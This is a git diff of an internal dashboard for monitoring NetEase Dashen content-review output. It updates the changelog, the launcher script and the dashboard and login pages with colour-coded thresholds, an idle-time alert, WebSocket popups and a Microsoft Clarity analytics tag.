</div>
</div>
<div class="release-content">
<h5>2025年4月29日更新 (v20250429213045)</h5>
<div class="feature">
<h4>告警提示机制优化</h4>
<ul>
<li>将告警提示方式由横幅改为WebSocket实时弹窗提示实现秒级响应</li>
<li>实现网页弹窗与Windows通知同步显示不再有延迟</li>
<li>优化了告警文本的可读性和清晰度</li>
<li>新增零值持续告警功能当检测到连续14分钟获取数值为0时触发弹窗提醒直至数据恢复非零状态</li>
</ul>
</div>
<div class="feature">
<h4>数据监控看板样式优化</h4>
<ul>
<li>实现当前小时"总计(折算量)"数值根据阈值动态变色功能:
<ul>
<li>&lt;200红色异常状态</li>
<li>200-682橙色警告状态</li>
<li>&gt;682绿色达标状态</li>
</ul>
</li>
<li>优化数值展示效果,提升数据感知效率</li>
</ul>
</div>
<div class="enhancement">
<h4>系数配置重构</h4>
<ul>
<li>改为在线获取系数配置,无需手动修改</li>
<li>移除手动配置入口,简化操作流程</li>
<li>优化系数加载和应用机制,提高稳定性</li>
</ul>
</div>
<div class="optimization">
<h4>日志与界面优化</h4>
<ul>
<li>增强日志记录功能,优化日志格式和输出方式</li>
<li>简化页面展示,移除冗余的工单总数和总记录数卡片</li>
<li>优化数据展示区域,聚焦折算总计和类别数据</li>
<li>优化系统状态提示信息,改进错误提示机制</li>
</ul>
</div>
<div class="enhancement">
<h4>自动化与用户体验</h4>
<ul>
<li>所有监控进程启动时自动最小化窗口,减少界面干扰</li>
<li>主控台窗口启动时自动最小化,保持桌面整洁</li>
<li>修复网页自动关闭失败的提示方式,改为弹窗提示</li>
<li>优化配置文件检查间隔为2分钟降低系统资源占用</li>
</ul>
</div>
<div class="bug-fix">
<h4>Bug修复</h4>
<ul>
<li>修复了用户登出时可能未清理共享数据文件的问题</li>
<li>修复了多监控进程启动窗口叠加的干扰问题</li>
<li>修复了favicon.ico 404错误调整为正确的图标文件路径</li>
<li>修复了静态资源路径问题确保UI资源正确加载</li>
<li>修复了更新小时数据时 inspect_monitor.py 进程未正常结束导致更新失败的问题</li>
</ul>
</div>
</div>
</div>
<div class="release-item">
<div class="release-header">
<div class="release-date">2025年4月22日</div>
@ -337,11 +407,11 @@
<div class="release-header">
<div class="release-date">2025年4月8日</div>
<div class="release-tag">
<a href="https://gitea.ui-beam.cn/ui_beam/NetEaseDSMonitor/releases/tag/v20250408165207" target="_blank">v20250408165207</a>
<a href="https://gitea.ui-beam.cn/ui_beam/NetEaseDSMonitor/releases/tag/v20250410232012" target="_blank">v20250410232012</a>
</div>
</div>
<div class="release-content">
<h5>2025年4月8日更新 (v20250408165207)</h5>
<h5>2025年4月8日更新 (v20250410232012)</h5>
<div class="feature">
<h4>一键部署功能</h4>
<p>添加download_auto_run.py一键安装脚本自动下载文件、安装依赖并启动系统简化安装流程</p>
@ -382,7 +452,7 @@
</div>
<footer>
<p>© 2025 网易DS监控系统 - 版本更新日志</p>
<p>© 2025 网易大神实时审核数据监控看板 - 版本更新日志</p>
</footer>
</div>
</body>

View File

@ -2,7 +2,7 @@
chcp 65001 >nul
cd /d "%~dp0"
echo 启动网易大神审核数据看板...
echo 启动网易大神实时审核数据看板...
REM 检查Python路径
set PYTHON_PATH=C:\Python39\python.exe
@ -34,7 +34,7 @@ timeout /t 3 >nul
REM 启动监控系统
echo [INFO] 正在启动主控制面板 (端口:8000)...
cd /d "%~dp0"
start "网易大神审核数据监控系统" /b "%PYTHON_PATH%" dashboard.py
start "网易大神实时审核数据监控系统" /min "%PYTHON_PATH%" dashboard.py
REM 等待1秒确保程序启动
timeout /t 1 >nul

View File

@ -4,9 +4,16 @@
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>网易大神审核数据监控看板</title>
<title>网易大神实时审核数据监控看板</title>
<link rel="icon" href="/static/ds-favicon.ico" type="image/x-icon">
<script src="https://cdn.bootcdn.net/ajax/libs/socket.io/4.0.1/socket.io.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/socket.io/4.0.1/socket.io.min.js" integrity="sha512-eVL5Lb9al9FzgR63gDs1MxcDS2wFu3loYAgjIH0+Hg38tCS8Ag62dwKyH+wzDb+QauDpEZjXbMn11blw8cbTJQ==" crossorigin="anonymous"></script>
<script type="text/javascript">
(function(c,l,a,r,i,t,y){
c[a]=c[a]||function(){(c[a].q=c[a].q||[]).push(arguments)};
t=l.createElement(r);t.async=1;t.src="https://www.clarity.ms/tag/"+i;
y=l.getElementsByTagName(r)[0];y.parentNode.insertBefore(t,y);
})(window, document, "clarity", "script", "rb98rvt1la");
</script>
<style>
body {
font-family: 'Microsoft YaHei', Arial, sans-serif;
@ -713,13 +720,121 @@
margin-top: 0.3rem;
}
/* 移除默认的总计面板样式 */
.stats-card.total {
background: #fff7e6;
border: 1px solid #ffe7ba;
background: white; /* 设置默认白色背景 */
border: 1px solid #eee;
transition: all 0.3s ease; /* 添加过渡效果 */
}
.stats-card.total h3 {
color: #d46b08;
/* 动态背景色样式 */
.stats-card.total.status-red {
background-color: #fff1f0 !important;
border: 1px solid #ffccc7 !important;
}
.stats-card.total.status-red h3 {
color: #cf1322 !important;
}
.stats-card.total.status-orange {
background-color: #fff7e6 !important;
border: 1px solid #ffd591 !important;
}
.stats-card.total.status-orange h3 {
color: #d46b08 !important;
}
.stats-card.total.status-green {
background-color: #f6ffed !important;
border: 1px solid #b7eb8f !important;
}
.stats-card.total.status-green h3 {
color: #52c41a !important;
}
/* 删除系数设置相关的样式 */
.settings-dialog {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.5);
z-index: 1000;
}
.settings-content {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
background-color: white;
padding: 20px;
border-radius: 5px;
width: 400px;
}
.settings-form {
margin-bottom: 20px;
}
.form-group {
margin-bottom: 10px;
}
.form-group label {
display: inline-block;
width: 100px;
}
.settings-buttons {
text-align: right;
}
.settings-buttons button {
margin-left: 10px;
}
/* 添加颜色样式类 */
.status-red {
color: #ff4d4f !important;
}
.status-orange {
color: #fa8c16 !important;
}
.status-green {
color: #52c41a !important;
}
/* 告警弹窗样式 */
.zero-alert {
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
background: #fff1f0;
border: 1px solid #ffccc7;
padding: 20px;
border-radius: 4px;
box-shadow: 0 2px 8px rgba(0,0,0,0.15);
z-index: 1000;
display: none;
}
.zero-alert .close-btn {
position: absolute;
right: 10px;
top: 10px;
cursor: pointer;
}
/* 添加闪烁动画 */
@keyframes blink {
0% { opacity: 1; }
50% { opacity: 0.5; }
100% { opacity: 1; }
}
.blink {
animation: blink 1s infinite;
}
</style>
</head>
@ -729,19 +844,18 @@
<div class="header">
<div class="header-title">
<h1>网易大神审核数据监控看板</h1>
<h1>网易大神实时审核数据监控看板</h1>
<span id="version-display" class="version-display">加载中...</span>
</div>
<div class="header-buttons">
<button class="current-user">当前登录用户:{{ staff_name }}</button>
<!--<button class="current-user">当前登录用户:{{ username }}{{ staff_name }}</button> <!-- 启用工号验证 -->
<button class="current-user">当前登录用户:{{ staff_name }}</button> <!-- 禁用工号验证 -->
<button class="refresh-button">刷新数据</button>
<button class="check-now-button">更新当前小时数据</button>
<button class="test-alarm-button">测试告警</button>
<button class="restart-button">更新全天数据</button>
<button class="check-version-button">检测版本更新</button>
<button class="cms-settings-button">CMS系数设置</button>
<button class="breeze-settings-button">Breeze系数设置</button>
<button id="logout-button">登出</button>
<button id="logout-button">退出</button>
</div>
</div>
<div class="stats-container">
@ -821,7 +935,7 @@
<div id="alarm-banner" class="alarm-banner">
<div class="alarm-message">
<span id="alarm-type"></span>当前小时折算总量已超过阈值<span id="alarm-details"></span>
<span id="alarm-type"></span><span id="alarm-message"></span>
</div>
<button id="reset-alarm" class="alarm-button">知道了</button>
</div>
@ -835,10 +949,6 @@
<div class="panel-body">
<div class="data-section">
<h3>当前小时数据</h3>
<div class="data-card">
<div class="value" id="breeze-hourly-count">-</div>
<div class="label">工单总数</div>
</div>
<div class="data-total">
<div class="label">折算总计</div>
<div class="value" id="breeze-hourly-weighted">-</div>
@ -849,10 +959,6 @@
</div>
<div class="data-section">
<h3>今日全天数据</h3>
<div class="data-card">
<div class="value" id="breeze-daily-count">-</div>
<div class="label">工单总数</div>
</div>
<div class="data-total">
<div class="label">折算总计</div>
<div class="value" id="breeze-daily-weighted">-</div>
@ -888,10 +994,6 @@
<div class="label">举报处理</div>
<div class="data-coefficient" id="cms-hourly-coefficient-complaint">系数: -</div>
</div>
<div class="data-card">
<div class="value" id="cms-hourly-count">-</div>
<div class="label">总记录数</div>
</div>
</div>
<div class="data-total">
<div class="label">折算总计</div>
@ -916,10 +1018,6 @@
<div class="label">举报处理</div>
<div class="data-coefficient" id="cms-daily-coefficient-complaint">系数: -</div>
</div>
<div class="data-card">
<div class="value" id="cms-daily-count">-</div>
<div class="label">总记录数</div>
</div>
</div>
<div class="data-total">
<div class="label">折算总计</div>
@ -999,6 +1097,13 @@
</div>
</div>
<!-- 添加零值告警弹窗 -->
<div id="zeroAlert" class="zero-alert">
<span class="close-btn" onclick="dismissZeroAlert()">×</span>
<h3 style="color: #cf1322; margin: 0 0 10px 0">⚠️ 数据异常警告</h3>
<p style="margin: 0">检测到数据持续为零,请检查系统运行状态!</p>
</div>
<script>
// 建立 WebSocket 连接
const socket = io();
@ -1115,19 +1220,18 @@
.then(response => response.json())
.then(data => {
if (data.success && data.data.is_alarming) {
alarmBanner.classList.add('active');
// 从API返回数据中获取告警类型
// 用alert弹窗提示
const alarmType = data.data.alarm_type || "实时告警";
document.getElementById('alarm-type').textContent = alarmType;
// 更新告警详细信息
const total = parseFloat(document.getElementById('total-weighted-hourly').textContent);
const threshold = data.data.threshold;
if (!isNaN(total) && total > 0) {
const overPercentage = ((total - threshold) / threshold * 100).toFixed(1);
document.getElementById('alarm-details').textContent = ` (当前值:${total},超出${overPercentage}%)`;
alert(`${alarmType}:当前值:${total},超出${overPercentage}%`);
} else {
alert(`${alarmType}:告警已触发`);
}
// 不再显示横幅
alarmBanner.classList.remove('active');
} else {
alarmBanner.classList.remove('active');
}
@ -1148,7 +1252,6 @@
// 更新Breeze工单系统面板
if (data.breeze.hourly) {
document.getElementById('breeze-hourly-count').textContent = data.breeze.hourly.total || '0';
document.getElementById('breeze-hourly-weighted').textContent = data.breeze.hourly.weighted_total ? data.breeze.hourly.weighted_total.toFixed(2) : '0.00';
// 更新小时类别数据
@ -1178,14 +1281,12 @@
breezeHourlyCategories.innerHTML = '<div class="loading">暂无可用数据</div>';
}
} else {
document.getElementById('breeze-hourly-count').textContent = '0';
document.getElementById('breeze-hourly-weighted').textContent = '0.00';
document.getElementById('breeze-hourly-categories').innerHTML = '<div class="loading">暂无可用数据</div>';
}
// 更新日数据
if (data.breeze.daily) {
document.getElementById('breeze-daily-count').textContent = data.breeze.daily.total || '0';
document.getElementById('breeze-daily-weighted').textContent = data.breeze.daily.weighted_total ? data.breeze.daily.weighted_total.toFixed(2) : '0.00';
// 更新日类别数据
@ -1215,7 +1316,6 @@
breezeDailyCategories.innerHTML = '<div class="loading">暂无可用数据</div>';
}
} else {
document.getElementById('breeze-daily-count').textContent = '0';
document.getElementById('breeze-daily-weighted').textContent = '0.00';
document.getElementById('breeze-daily-categories').innerHTML = '<div class="loading">暂无可用数据</div>';
}
@ -1244,13 +1344,11 @@
document.getElementById('cms-hourly-comment').textContent = data.cms.hourly.stats.comment || '0';
document.getElementById('cms-hourly-feed').textContent = data.cms.hourly.stats.feed || '0';
document.getElementById('cms-hourly-complaint').textContent = data.cms.hourly.stats.complaint || '0';
document.getElementById('cms-hourly-count').textContent = data.cms.hourly.total_count || '0';
document.getElementById('cms-hourly-weighted').textContent = data.cms.hourly.weighted_total ? data.cms.hourly.weighted_total.toFixed(2) : '0.00';
} else {
document.getElementById('cms-hourly-comment').textContent = '0';
document.getElementById('cms-hourly-feed').textContent = '0';
document.getElementById('cms-hourly-complaint').textContent = '0';
document.getElementById('cms-hourly-count').textContent = '0';
document.getElementById('cms-hourly-weighted').textContent = '0.00';
}
@ -1269,13 +1367,11 @@
document.getElementById('cms-daily-comment').textContent = data.cms.daily.stats.comment || '0';
document.getElementById('cms-daily-feed').textContent = data.cms.daily.stats.feed || '0';
document.getElementById('cms-daily-complaint').textContent = data.cms.daily.stats.complaint || '0';
document.getElementById('cms-daily-count').textContent = data.cms.daily.total_count || '0';
document.getElementById('cms-daily-weighted').textContent = data.cms.daily.weighted_total ? data.cms.daily.weighted_total.toFixed(2) : '0.00';
} else {
document.getElementById('cms-daily-comment').textContent = '0';
document.getElementById('cms-daily-feed').textContent = '0';
document.getElementById('cms-daily-complaint').textContent = '0';
document.getElementById('cms-daily-count').textContent = '0';
document.getElementById('cms-daily-weighted').textContent = '0.00';
}
}
@ -1368,174 +1464,6 @@
'系数: ' + (coefficients.complaint || '-').toFixed(2);
}
// 显示CMS系数设置对话框
function showCMSSettingsDialog() {
fetch('/api/get-coefficients')
.then(response => response.json())
.then(data => {
if (data.success) {
document.getElementById('cms-coefficient-comment').value = data.data.comment;
document.getElementById('cms-coefficient-feed').value = data.data.feed;
document.getElementById('cms-coefficient-complaint').value = data.data.complaint;
settingsDialog.style.display = 'block';
} else {
alert('获取系数失败: ' + data.message);
}
})
.catch(error => {
console.error('获取系数出错:', error);
alert('获取系数出错');
});
}
// 显示Breeze系数设置对话框
function showBreezeSettingsDialog() {
fetch('/api/get-breeze-coefficients')
.then(response => response.json())
.then(data => {
if (data.success) {
const breezeSettingsForm = document.getElementById('breeze-settings-form');
// 清空现有内容
breezeSettingsForm.innerHTML = '';
// 为每个系数创建输入字段
const coefficients = data.data;
const chineseNames = {
'NTES_GOD_IMAGES': '网易大神APP图片',
'NTES_GOD_VIDEOS': '网易大神APP视频',
'NTES_GOD_CHAT_IMAGES': '网易大神APP聊天图片',
'NTES_GOD_CHAT_VIDEOS': '网易大神APP聊天视频',
'NTES_DASONG': '大神大宋视频',
'SPIDER_VIDEO': '大神普通供给视频',
'SPIDER_VIDEO_SP': '大神高优供给视频',
'NTES_GOD_AI': '大神AI图片',
'NTES_GOD_TOP': '大神短视频',
'T_SPIDER_VIDEO': '大神tiktok普通视频',
'T_SPIDER_VIDEO_SP': '大神tiktok高优视频',
'V_SPIDER_VIDEO': '大神ins普通供给视频',
'V_SPIDER_VIDEO_SP': '大神ins高优供给视频',
'NTES_GOD_XHS': '大神小红书图片',
'XHS_SPIDER_VIDEO': '小红书供给视频',
'Cupid': '大神交友',
'CHAT_P2P': '大神聊天/风险用户_私聊/私聊频繁',
'CHAT_TEAM': '大神聊天/风险用户_群聊/群聊频繁',
'CHAT_ROOM': '大神聊天_聊天室',
'CHAT_ROOM_MSG': '风险用户_聊天室频繁'
};
// 创建搜索框
const searchDiv = document.createElement('div');
searchDiv.className = 'form-group search-group';
searchDiv.innerHTML = `
<label for="breeze-search">搜索系数:</label>
<input type="text" id="breeze-search" placeholder="输入关键词搜索系数" />
`;
breezeSettingsForm.appendChild(searchDiv);
// 创建表单内容容器
const formContentDiv = document.createElement('div');
formContentDiv.className = 'form-content';
breezeSettingsForm.appendChild(formContentDiv);
// 为每个系数创建输入字段
for (const [key, value] of Object.entries(coefficients)) {
const formGroup = document.createElement('div');
formGroup.className = 'form-group';
formGroup.dataset.name = key;
const label = document.createElement('label');
label.htmlFor = `breeze-coefficient-${key}`;
label.textContent = chineseNames[key] || key;
const input = document.createElement('input');
input.type = 'number';
input.id = `breeze-coefficient-${key}`;
input.className = 'breeze-coefficient';
input.dataset.key = key;
input.step = '0.01';
input.min = '0';
input.max = '200';
input.value = value;
formGroup.appendChild(label);
formGroup.appendChild(input);
formContentDiv.appendChild(formGroup);
}
// 添加搜索功能
const searchInput = document.getElementById('breeze-search');
searchInput.addEventListener('input', function () {
const searchText = this.value.toLowerCase();
const formGroups = formContentDiv.querySelectorAll('.form-group');
formGroups.forEach(group => {
const key = group.dataset.name;
const label = group.querySelector('label').textContent.toLowerCase();
if (key && key.toLowerCase().includes(searchText) || label.includes(searchText)) {
group.style.display = '';
} else {
group.style.display = 'none';
}
});
});
// 添加保存按钮
const saveButton = document.createElement('button');
saveButton.id = 'save-breeze-settings-button';
saveButton.textContent = '保存';
saveButton.addEventListener('click', saveBreezeCoefficients);
breezeSettingsForm.appendChild(saveButton);
// 显示对话框
breezeSettingsDialog.style.display = 'block';
} else {
alert('获取Breeze系数失败: ' + data.message);
}
})
.catch(error => {
console.error('获取Breeze系数出错:', error);
alert('获取Breeze系数出错');
});
}
// 保存Breeze系数设置
function saveBreezeCoefficients() {
const coefficientInputs = document.querySelectorAll('.breeze-coefficient');
const newCoefficients = {};
coefficientInputs.forEach(input => {
if (input.value) {
newCoefficients[input.dataset.key] = parseFloat(input.value);
}
});
fetch('/api/update-breeze-coefficients', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(newCoefficients)
})
.then(response => response.json())
.then(data => {
if (data.success) {
alert('Breeze系数更新成功');
breezeSettingsDialog.style.display = 'none';
// 刷新数据
setTimeout(fetchStats, 2000);
} else {
alert('更新Breeze系数失败: ' + data.message);
}
})
.catch(error => {
console.error('更新Breeze系数出错:', error);
alert('更新Breeze系数出错');
});
}
// 绑定按钮事件
function bindEvents() {
// 绑定刷新数据按钮事件
@ -1553,15 +1481,9 @@
// 绑定版本检测更新按钮事件
document.querySelector('.check-version-button').addEventListener('click', checkVersion);
// 绑定CMS系数设置按钮事件
document.querySelector('.cms-settings-button').addEventListener('click', showCMSSettingsDialog);
// 绑定Breeze系数设置按钮事件
document.querySelector('.breeze-settings-button').addEventListener('click', showBreezeSettingsDialog);
// 绑定登出按钮事件
document.getElementById('logout-button').addEventListener('click', function () {
if (confirm('确认要出吗?')) {
if (confirm('确认要退出吗?')) {
window.location.href = '/logout';
}
});
@ -1993,12 +1915,11 @@
function updateStats(data) {
try {
// 更新统计栏数据
// 更新清风审核数据
if (data.breeze && data.breeze.hourly) {
document.getElementById('breeze-total').textContent = data.breeze.hourly.total || '0';
document.getElementById('breeze-daily-total').textContent = data.breeze.daily ? (data.breeze.daily.total || '0') : '0';
// 更新时间戳
if (data.breeze.hourly_update) {
document.getElementById('breeze-hourly-time').textContent = data.breeze.hourly_update;
}
@ -2009,12 +1930,10 @@
// 更新CMS数据
if (data.cms && data.cms.hourly) {
// 更新顶部统计栏
const cmsTotal = data.cms.hourly.total_count || 0;
document.getElementById('cms-total').textContent = cmsTotal;
document.getElementById('cms-daily-total').textContent = data.cms.daily ? (data.cms.daily.total_count || '0') : '0';
// 更新时间戳
if (data.cms.hourly_update) {
document.getElementById('cms-hourly-time').textContent = data.cms.hourly_update;
}
@ -2034,7 +1953,6 @@
document.getElementById('inspect-daily-weighted').textContent = `(${Math.round(data.inspect.daily.weighted_total)})`;
}
// 更新时间戳
if (data.inspect.hourly_update) {
document.getElementById('inspect-hourly-time').textContent = data.inspect.hourly_update;
}
@ -2048,7 +1966,10 @@
document.getElementById('total-weighted-hourly').textContent = Math.round(data.total.hourly);
document.getElementById('total-weighted-daily').textContent = Math.round(data.total.daily);
// 获取最新的时间戳
// 立即更新总计面板颜色
updateTotalCardColor(Math.round(data.total.hourly));
// 更新时间戳
const hourlyUpdateTime = getLatestTimestamp([
data.breeze?.hourly_update,
data.cms?.hourly_update,
@ -2061,7 +1982,6 @@
data.inspect?.daily_update
]);
// 更新时间戳显示
if (hourlyUpdateTime) {
document.getElementById('total-hourly-time').textContent = hourlyUpdateTime;
}
@ -2092,6 +2012,109 @@
return new Date(current) > new Date(latest) ? current : latest;
}, null);
}
// 添加颜色判断函数
function updateWeightedTotalColor(value) {
const element = document.getElementById('weighted-total');
if (!element) return;
// 移除现有的状态类
element.classList.remove('status-red', 'status-orange', 'status-green');
// 根据阈值添加对应的颜色类
if (value < 200) {
element.classList.add('status-red');
} else if (value <= 682) {
element.classList.add('status-orange');
} else {
element.classList.add('status-green');
}
}
// 零值检测相关变量
let zeroValueStartTime = null;
let zeroAlertShown = false;
// 显示零值告警
function showZeroAlert() {
if (!zeroAlertShown) {
const alarmBanner = document.getElementById('alarm-banner');
const alarmType = document.getElementById('alarm-type');
const alarmMessage = document.getElementById('alarm-message');
alarmType.textContent = "断审预警";
alarmMessage.textContent = "已连续14分钟未产生审核记录再过1分钟将记为一次断审违纪每天累计两次将被记为违规。请立即处理";
alarmBanner.classList.add('active');
zeroAlertShown = true;
}
}
// 关闭零值告警
function dismissZeroAlert() {
const alarmBanner = document.getElementById('alarm-banner');
alarmBanner.classList.remove('active');
zeroAlertShown = false;
}
// 移除单独的零值告警弹窗
function checkZeroValue(value) {
const now = new Date();
if (value === 0) {
if (!zeroValueStartTime) {
zeroValueStartTime = now;
} else {
const duration = (now - zeroValueStartTime) / (1000 * 60); // 转换为分钟
if (duration >= 14) {
showZeroAlert();
}
}
} else {
// 如果值不为零,重置计时器并关闭告警
zeroValueStartTime = null;
if (zeroAlertShown) {
dismissZeroAlert();
}
}
}
// 更新总计面板的颜色
function updateTotalCardColor(value) {
const totalCard = document.querySelector('.stats-card.total');
if (!totalCard) return;
// 移除现有的状态类
totalCard.classList.remove('status-red', 'status-orange', 'status-green');
// 根据阈值添加对应的颜色类
if (value < 200) {
totalCard.classList.add('status-red');
} else if (value <= 682) {
totalCard.classList.add('status-orange');
} else {
totalCard.classList.add('status-green');
}
}
// 确保在页面加载完成后立即更新一次颜色
document.addEventListener('DOMContentLoaded', function() {
const hourlyTotal = parseInt(document.getElementById('total-weighted-hourly').textContent) || 0;
updateTotalCardColor(hourlyTotal);
});
// 添加定时检查
setInterval(function() {
const hourlyTotal = parseInt(document.getElementById('total-weighted-hourly').textContent) || 0;
console.log('定时检查,当前值:', hourlyTotal); // 添加调试日志
updateTotalCardColor(hourlyTotal);
}, 5000); // 每5秒检查一次
// WebSocket告警推送
socket.on('alarm', function(data) {
if (data && data.message) {
alert(data.message);
}
});
</script>
</body>

View File

@ -3,7 +3,7 @@
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>网易大神审核数据监控看板 - 登录</title>
<title>网易大神实时审核数据监控看板 - 登录</title>
<link rel="icon" href="/static/ds-favicon.ico" type="image/x-icon">
<style>
:root {
@ -538,7 +538,7 @@
<div id="messageContainer" class="message-container"></div>
<div class="login-container">
<div class="login-banner">
<h1>网易大神审核数据监控看板</h1>
<h1>网易大神实时审核数据监控看板</h1>
<ul class="features">
<li>实时监控审核数据,自动统计工作量</li>
<li>多系统数据整合,一目了然</li>
@ -552,7 +552,7 @@
<form id="loginForm">
<div class="form-group">
<label>工号</label>
<input type="text" name="username" placeholder="请输入您的工号" required>
<input type="text" name="username" placeholder="请输入您的工号" required oninput="this.value = this.value.toUpperCase()">
<div style="color: #ff4d4f; font-size: 12px; margin-top: 5px;">
必填项
</div>
@ -667,5 +667,13 @@
});
});
</script>
<script type="text/javascript">
(function(c,l,a,r,i,t,y){
c[a]=c[a]||function(){(c[a].q=c[a].q||[]).push(arguments)};
t=l.createElement(r);t.async=1;t.src="https://www.clarity.ms/tag/"+i;
y=l.getElementsByTagName(r)[0];y.parentNode.insertBefore(t,y);
})(window, document, "clarity", "script", "rb98rvt1la");
</script>
</body>
</html>